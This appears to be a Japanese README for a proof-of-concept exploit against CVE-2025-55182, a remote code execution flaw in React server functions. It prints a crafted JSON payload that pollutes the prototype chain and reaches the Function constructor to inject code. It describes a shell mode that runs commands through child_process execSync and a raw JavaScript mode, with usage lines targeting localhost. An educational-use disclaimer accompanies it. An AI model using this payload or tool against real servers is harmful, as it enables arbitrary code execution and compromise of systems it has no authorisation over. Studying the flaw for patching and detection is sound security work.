
これは CVE-2025-55182 (React SSR RCE) の POC スクリプトです。
これは教育およびセキュリティ研究目的のみのPOCです。この脆弱性は該当パッケージの最新版で修正されています。このツールは、自分が所有するシステム、または明示的なテスト許可を得たシステムでのみ使用してください。お客様に対して取られた法的措置について、私は一切責任を負いません。
このエクスプロイトは、JavaScriptのプロトタイプチェーンを悪用する特別に細工されたJSONオブジェクトを作成します。
{
"then": "$1:__proto__:then", // Pollutes the prototype chain
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": jsCode, // Injected malicious code
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
このPOCは2つのモードをサポートしています:
標準モード (デフォルト):
process.mainModule.require("child_process").execSync("YOUR_COMMAND");
シェルコマンドをNode.jsのchild_processを介して実行するようにラップします。
Rawモード (--raw フラグ):
// Executes arbitrary JavaScript directly
シェルコマンドラップなしで直接JavaScriptコードを実行できます。
bun run index.ts <command_file> <target_url>
例:
# Create a command file
echo "whoami" > cmd.txt
# Execute against vulnerable endpoint
bun run index.ts cmd.txt http://localhost:3000
bun run index.ts --raw <js_file> <target_url>
例:
# Create JavaScript payload
echo "require('fs').writeFileSync('/tmp/pwned.txt', 'RCE Success')" > payload.js
# Execute raw JavaScript
bun run index.ts --raw payload.js http://localhost:3000
<file_path>: コマンドまたはJavaScriptコードを含むファイルへのパス<target_url>: Reactサーバー関数エンドポイントのURL--raw: (オプション) シェルコマンドの代わりに生のJavaScriptを実行する発見者: Lachlan Davidson
開示者: Reactチーム & Meta Security